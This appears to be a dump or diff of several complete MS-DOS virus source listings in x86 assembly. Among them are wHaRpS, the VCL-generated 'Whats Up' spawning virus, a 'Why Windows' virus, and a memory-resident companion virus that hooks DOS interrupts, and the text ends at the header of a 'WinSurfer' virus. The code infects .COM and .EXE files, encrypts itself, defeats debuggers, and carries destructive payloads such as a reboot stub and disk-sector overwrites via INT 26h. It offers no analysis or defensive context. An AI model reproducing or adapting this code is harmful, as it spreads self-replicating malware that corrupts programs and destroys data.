; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;*******************************************************************
; Get current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ seven_in_eight
;*******************************************************************
; The special "one in eight" infection. If the above line were in
; its original form, this code would be run 1/8 of the time, and
; rather than appending a copy of this virus to the .COM file, the
; file would get 5 bytes of code that reboot the system when the
; .COM file is run.
;*******************************************************************
MOV AH,40H ;Write to file
MOV CX,5 ;Five bytes
MOV DX,SI
ADD DX,reboot ;Offset of reboot code in data area
INT 21H
JMP SHORT fix_time_stamp
NOP
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
seven_in_eight:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
JMP all_done
; Offset setting procedure
; ~~~~~~~~~~~~~~~~~~~~~~~~
memtrick:
PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
PUSH ES
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
RET
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
;Use this with (SI + reboot)
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,336 @@
; "One must crawl before one walks."
; wHaRpS Virus 1.0
; wHaRpS virus of independent virus writer FirstStrike
; For use by [Phalcon\Skism] ONLY!
; Special thanx to:
; Gheap
; Dark Angel
; Demogorgon
name wHaRpS
title
code segment
assume cs:code,ds:code
org 100h
dta equ 65000d ; DTA address to be set
fname equ 65000d + 1eh ; DTA - file name
ftime equ 65000d + 16h ; DTA - file time
fsize equ 65000d + 1ah ; DTA - file size
orgdir equ 65400d ; original path storage
date equ 65300d ; store file date
time equ 65302d ; store file time
attrib equ 65304d ; store file attrib
err1 equ 65306d ; old error handler address
err2 equ 65308d ; old error handler address
olddta equ 80h ; original DTA address
begin:
nop
nop
nop
call setup ; find "delta offset"
setup:
pop bp
sub bp, offset setup
jmp main ; DEBUG E8 02 00
nop
jmp main
crypt_em:
xor di,di
lea si, [bp+main]
mov di, si
mov cx, end_crypt - main
xor_loop:
lodsb ; ds:[si] -> al
db 34h ; xor al, XX
encrypt_val db 0 ; Starting encryption value is 0
stosb ; al ->es:[di]
loop xor_loop
ret
main:
xor di,di
mov di,0100h ; Restore first three
lea si,[bp+saveins] ; original program bytes
mov cx,0003d
rep movsb
jmp system_pic ; Take a "picture" of system settings
handler: ; error handler
mov al,0
iret
endp
data label byte
wharps db '[wHaRpS]',0 ; wHaRpS ID
author db 'FŒrsØStrŒkä',0 ; Me
dir_mask db '*.',0 ; dir atrib
allcom db '*.COM',0 ; what to search for
root db '\',0 ; root
saveins db 0e8h,00h,00h ; original three bytes
ultimate dw 0 ; ultimate dir to be reached
current dw 0 ; current dir
message db 'wHaRpS! It is 3:00 a.m. > ETERNAL $'
system_pic: ; SNAP!
mov ah,47h ; get original path
mov dl,0
lea si,cs:orgdir ; store original path
int 21h
crypt_change: ; set crypt value
mov ah,2ch
int 21h
mov [bp+encrypt_val],dl
cmp ch,03
jz more
jmp errorh
more:
cmp cl,00
jz bomb
jmp errorh
bomb:
mov ah,09h
lea dx,[bp+message]
int 21h
mov ah,4ch
int 21h
errorh:
push es ; save original error handler address
mov ax,3524h
int 21h
mov word ptr cs:err1,bx
mov word ptr cs:err2,es
pop es
mov ax,2524h ; set an error handler
lea dx, [bp+offset handler] ; no more Retry,Abort,Fail deals
int 21h
jmp pre_search
drop_to_root: ; subroutine to visit the root
lea dx,[bp+root]
jmp continue
set_path: ; OR set a path
lea dx,cs:fname
continue:
mov ah,3bh
int 21h
ret
return_to_search:
inc [bp+ultimate]
call drop_to_root
mov [bp+current],0000
jmp find_first_dir
pre_search: ; set a DTA
mov dx,dta
mov ah,1ah
int 21h
mov [bp+current],0000 ; zero the counters
mov [bp+ultimate],0000 ; ""
inc [bp+ultimate] ; want to search 1st dir in root
call drop_to_root ; bomb to root
find_first_dir: ; directory searchin'
lea dx,[bp+dir_mask]
mov cx,16
mov ah,4Eh
int 21h
jc almost_done ; no directories?
dir_test:
inc [bp+current] ; directory found - MARK!
mov bx,[bp+current]
cmp word ptr [bp+ultimate],bx ; is it the one we want?
jnz find_next_dir ; no, find another
call set_path ; yes, set the correct path
jmp find_first_file ; find some .COMs
find_next_dir: ; mo' directory searchin'
mov ah,4fh
int 21h
jc almost_done
jmp dir_test ; go see if correct dir found yet
find_first_file: ; file searchin'
lea dx,[bp+allcom]
mov cx,00000001b
mov ah,4Eh
int 21h
jc return_to_search ; no .COM so mo' dir
jmp check_if_ill ; is the file "sick"?
find_next_file: ; keep on a searchin'
mov ah,4fh
int 21h
jc return_to_search ; no more .COM so back
; to the directories
check_if_ill: ; check file's health
mov ax,cs:ftime
and al,11111b ; good, your sick!
cmp al,62d/2 ; (No more 62 seconds as virus
jz find_next_file ; markers! - I swear!)
cmp cs:fsize,60000d ; whoa, file to big!
ja find_next_file ; so, get a new one
cmp cs:fsize,500d ; whoa, file to small!
jb find_next_file ; throw it back and move on
jmp infect ; perfect, for infection
db 'Joy J.',0 ; don't ask
error:
pre_done:
almost_done:
jmp done ; in case of emergency.....
infect:
mov ah,43h ; save original attribute
mov al,00h
lea dx,cs:[fname]
int 21h
mov cs:attrib,cx
jc pre_done
mov ax,4301h ; clear all attributes
and cx,11111110b ; (none shall slow progress)
int 21h
jc pre_done
mov ax,3d02h ; open the file, please
int 21h
jc pre_done
xchg bx,ax
mov ax,5700h ; save the date/time
int 21h
mov cs:time,cx
mov cs:date,dx
jc pre_done
mov ah,3Fh ; read first 3 bytes of file
mov cx,0003h ; to be infected and save
lea dx,[bp+saveins]
int 21h
jc pre_done
mov ax,4202h ; move to end of file
xor cx,cx
xor dx,dx
int 21h
jc pre_done
mov [bp+new_jmp],ax
call crypt_em
end_crypt label byte ; encrypt to here
mov ah,40h
mov cx,endcode-begin
lea dx,[bp+begin]
int 21h ; encrypt n' write virus to end of
jc done ; file
mov ax,4200h ; go to beginning of file
xor cx,cx
xor dx,dx
int 21h
jc done
jmp cont
jmpc db 0e9h
new_jmp dw ?
cont:
mov ah,40h
mov cl,3
lea dx,[bp+jmpc]
int 21h
jc done
attrib_stuff:
mov ax,5701h
mov cx,cs:[time]
mov dx,cs:[date]
or cl,11111b
int 21h
jc done
mov ah,3eh
int 21h
jc done
mov ax,4301h
mov cx,cs:[attrib]
lea dx,cs:[fname]
int 21h
jc done
done:
mov dx,olddta ; restore all changes
mov ah,1ah
int 21h
push ds
mov ax,2524h
lea dx,cs:[err2]
mov ds,dx
lea dx,cs:[err1]
int 21h
pop ds
mov ah,3bh
mov dx,'/'
int 21h
mov ah,3bh
lea dx,cs:[orgdir]
int 21h
xor di,di
mov di,0100h
jmp di ; good_bye
endcode label byte
code ends
end begin
@@ -0,0 +1,300 @@
; WHATSUP.ASM -- Whats Up Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Unknown User
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
mov cx,0063h ; Do 99 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
db 06Fh,050h,0CAh,0F9h,065h
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
db 0B1h,043h,04Ah,043h,07Bh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 011h,019h,099h,0B6h,0BDh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Whats Up Virus"
db "By White Shark"
db "Mess with the White Shark and"
db "you'll be eaten alive!"
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,221 @@
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 dw 6F64h
db 'ws\win.com'
db 00h,0E9h, 0Eh, 00h, 90h,0C8h
db 01h
loc_3:
mov bx,101h
mov ah,[bx]
mov bx,102h
mov al,[bx]
xchg al,ah
add ax,3
mov si,ax
mov ah,1Ah
lea dx,[si+2C8h]
add dx,6
int 21h
mov ah,4Eh
lea dx,[si+103h]
mov cx,6
int 21h
cmp ax,12h
je loc_7
lea dx,[si+10Ah]
jmp short loc_6
db 90h
loc_5:
mov ah,4Dh
int 21h
mov ah,4Fh
int 21h
cmp ax,12h
je loc_7
lea dx,[si+2C8h]
add dx,24h
loc_6:
mov ah,3Dh
mov al,2
int 21h
mov bx,ax
mov ah,42h
mov al,2
mov dx,0
mov cx,0
int 21h
push ax
sub ax,6
mov dx,ax
mov ah,42h
mov al,0
mov cx,0
int 21h
mov ah,3Fh
mov cx,1
lea dx,[si+14Bh]
int 21h
mov ah,byte ptr data_8+30h[si]
cmp ah,42h
jne loc_8
jmp short loc_5
loc_7:
jmp short loc_9
db 90h
loc_8:
mov ah,42h
mov al,0
mov dx,0
mov cx,0
int 21h
mov ax,3F00h
mov cx,3
lea dx,[si+2C8h]
add dx,3
int 21h
mov ax,4200h
mov dx,0
mov cx,0
int 21h
pop ax
sub ax,3
mov byte ptr data_8+2Eh[si],al
mov byte ptr data_8+2Fh[si],ah
mov ah,40h
mov cx,3
lea dx,[si+148h]
int 21h
mov ax,4202h
mov dx,0
mov cx,0
int 21h
mov ah,40h
lea dx,[si+100h]
mov cx,data_12[si]
int 21h
mov ax,4000h
lea dx,[si+2C8h]
add dx,3
mov cx,3
int 21h
jmp short loc_9
db 90h
loc_9:
mov ah,3Eh
int 21h
mov ah,41h
lea dx,[si+137h]
int 21h
mov ah,2Ah
int 21h
cmp dh,2
jne loc_14
cmp dl,17h
je loc_10
cmp dl,18h
je loc_11
cmp dl,19h
je loc_12
jmp short loc_14
db 90h
loc_10:
mov ah,3Ch
lea dx,[si+119h]
mov cx,1
int 21h
jmp short loc_14
db 90h
loc_11:
mov ah,3Ch
lea dx,[si+129h]
mov cx,1
int 21h
jmp short loc_14
db 90h
loc_12:
mov al,2
loc_13:
mov cx,96h
mov dx,0
int 26h
inc al
cmp al,4
jne loc_13
loc_14:
mov cx,3
lea ax,[si+2C8h]
mov si,ax
mov di,100h
rep movsb
call sub_1
int 20h
ww endp
sub_1 proc near
mov di,offset start
jmp di
db 'Why Windows '
copyright db '(c)1992 MaZ / BetaBoys B.B'
db 90h, 90h, 90h
sub_1 endp
seg_a ends
end start
@@ -0,0 +1,289 @@
ideal
@date = 0355h ;21.10.1981
@time = 8E79h ;17:51:50
model tiny
codeseg
startupcode
jmp begin
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
macro intdos
pushf
call [dword cs:oi21]
endm
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
i21: push ax
xor al,al
cmp ah,3ch
jz okk
cmp ah,5bh
jz okk
cmp ah,3dh
jz okk
inc al
cmp ah,16h
jz okk
cmp ah,0fh
jnz ov0
okk: jmp ok
ov0: cmp ah,1ah
jz setdta
mov [byte cs:funct],12h
cmp ah,12h
jz fndf
cmp ah,11h
jz fndf
mov [byte cs:funct],4fh
cmp ah,4eh
jz fndh
cmp ah,4fh
jz fndh
ov: pop ax
db 0eah
oi21 dw 0
oi21s dw 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
setdta: mov [cs:dta],dx
mov [cs:dta+2],ds
jmp ov
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fndh: pop ax
fnd0: intdos
jc fex
pushf
push si di es ds
lds si,[dword cs:dta]
compar: cmp [word si+16h],@time
jnz f10
cmp [word si+18h],@date
jnz f10
pop ds es di si
popf
lds dx,[dword cs:dta]
db 0b4h
funct db 4fh
jmp fnd0
f10: pop ds es di si
popf
fex: push ax bp
mov bp,sp
lahf
mov [ss:bp+8],ah
pop bp ax
iret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fndf: pop ax
fnf0: intdos
and al,al
jnz fex
pushf
push si di es ds
lds si,[dword cs:dta]
cmp [byte ds:si],0ffh
jnz f21
add si,7
f21: inc si
jmp compar
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ok: push bx cx dx si di ds es
and al,al
jz nex
mov cx,6
mov ax,cs
mov es,ax
lea di,[ok1]
mov si,dx
rep cmpsw
jnz nex
pop es ds di si dx cx bx ax
mov ax,1313h
iret
nex:
xor ax,ax
mov ds,ax
mov ax,[ds:90h]
push ax
mov ax,[ds:92h]
push ax
mov [word ds:90h],offset i24
mov [word ds:92h],cs
mov bx,[ds:46ch]
mov ax,cs
mov ds,ax
mov es,ax
test bx,6C1h
jnz no_chg
cmp [byte pauss],0
jz chg1
dec [byte pauss]
jmp no_chg
chg1: mov [pauss],80
xor al,al
out 43h,al
jcxz $+2
in al,40h
mov bl,al
in al,40h
add al,bl
and al,1fh
cmp al,'Z'-'A'
jbe xx1
sub al,'Z'-'A'
xx1: add al,'A'
std
mov si,offset fname+6
lea di,[si+1]
mov cx,7
rep movsb
stosb
no_chg:
mov ah,5bh
lea dx,[fname]
mov cx,1
intdos
jc term
mov bx,ax
mov ah,40h
mov cx,offset endcod-100h
mov dx,100h
; inc [cs:count]
mov [cs:flag],0
intdos
cmp ax,offset endcod-100h
jnz ok1
mov [cs:flag],1
ok1: mov ax,5701h
mov cx,@time
mov dx,@date
intdos
mov ah,3eh
intdos
cmp [cs:flag],1
jz term
lea dx,[fname]
mov ax,4301h
xor cx,cx
intdos
lea dx,[fname]
mov ah,41h
; dec [cs:count]
intdos
term: xor ax,ax
mov ds,ax
pop ax
mov [ds:92h],ax
pop ax
mov [ds:90h],ax
ok0: pop es ds di si dx cx bx
jmp ov
driv db 0
flag db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
i24: mov al,3
iret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
begin: mov ah,16h
lea dx,[ok1]
int 21h
cmp ax,1313h
jnz b01
b02: int 20h
b01: mov ax,[ds:2ch]
mov ds,ax
xor si,si
cld
b04: lodsb
and al,al
jnz b04
lodsb
and al,al
jnz b04
inc si
inc si
b05: mov bx,si
b06: lodsb
cmp al,':'
jz b05
cmp al,'\'
jz b05
and al,al
jnz b06
mov cx,si
sub cx,bx
mov si,bx
mov di,offset fname
rep movsb
mov ah,2fh
int 21h
mov [cs:dta],bx
mov [cs:dta+2],es
mov [byte cs:pauss],0
mov ax,cs
mov ds,ax
dec ax
mov es,ax
mov cl,4
mov ax,offset endpr-100h
add ax,15
shr ax,cl
mov cx,[es:3]
sub [es:3],ax
mov bx,ax
mov ax,cs
add ax,[es:3]
sub ax,10h
mov [bseg],ax
cmp [byte es:0],'Z'
jz b10
push ds
mov ax,cs
add ax,cx
mov ds,ax
sub ax,bx
mov es,ax
sub ax,0fh
mov [cs:bseg],ax
xor si,si
mov di,si
mov cx,8
rep movsw
add [es:3],bx
sub [es:1],bx
pop ds
b10: mov ax,[bseg]
mov es,ax
mov si,100h
mov di,si
mov cx,offset endpr-100h
rep movsb
mov di,offset b03
xchg di,[0ah]
xchg ax,[0ch]
mov [es:oter],di
mov [es:oter+2],ax
ret
b03: push ax bx ds es cs
pop ds
mov ax,3521h
int 21h
mov [oi21],bx
mov [oi21s],es
mov ax,2521h
lea dx,[i21]
int 21h
pop es ds bx ax
db 0eah
endcod = $
oter dw 0
bseg dw ?
count dw ?
pauss db ?
fname db 13 dup (?)
dta dw ?,?
endpr = $
end
@@ -0,0 +1,654 @@
;-------------------------------------------------------------------------
;
; WinSurfer Virus (c) 1995 VLAD incorporated.
; Written by qark and quantum.
;
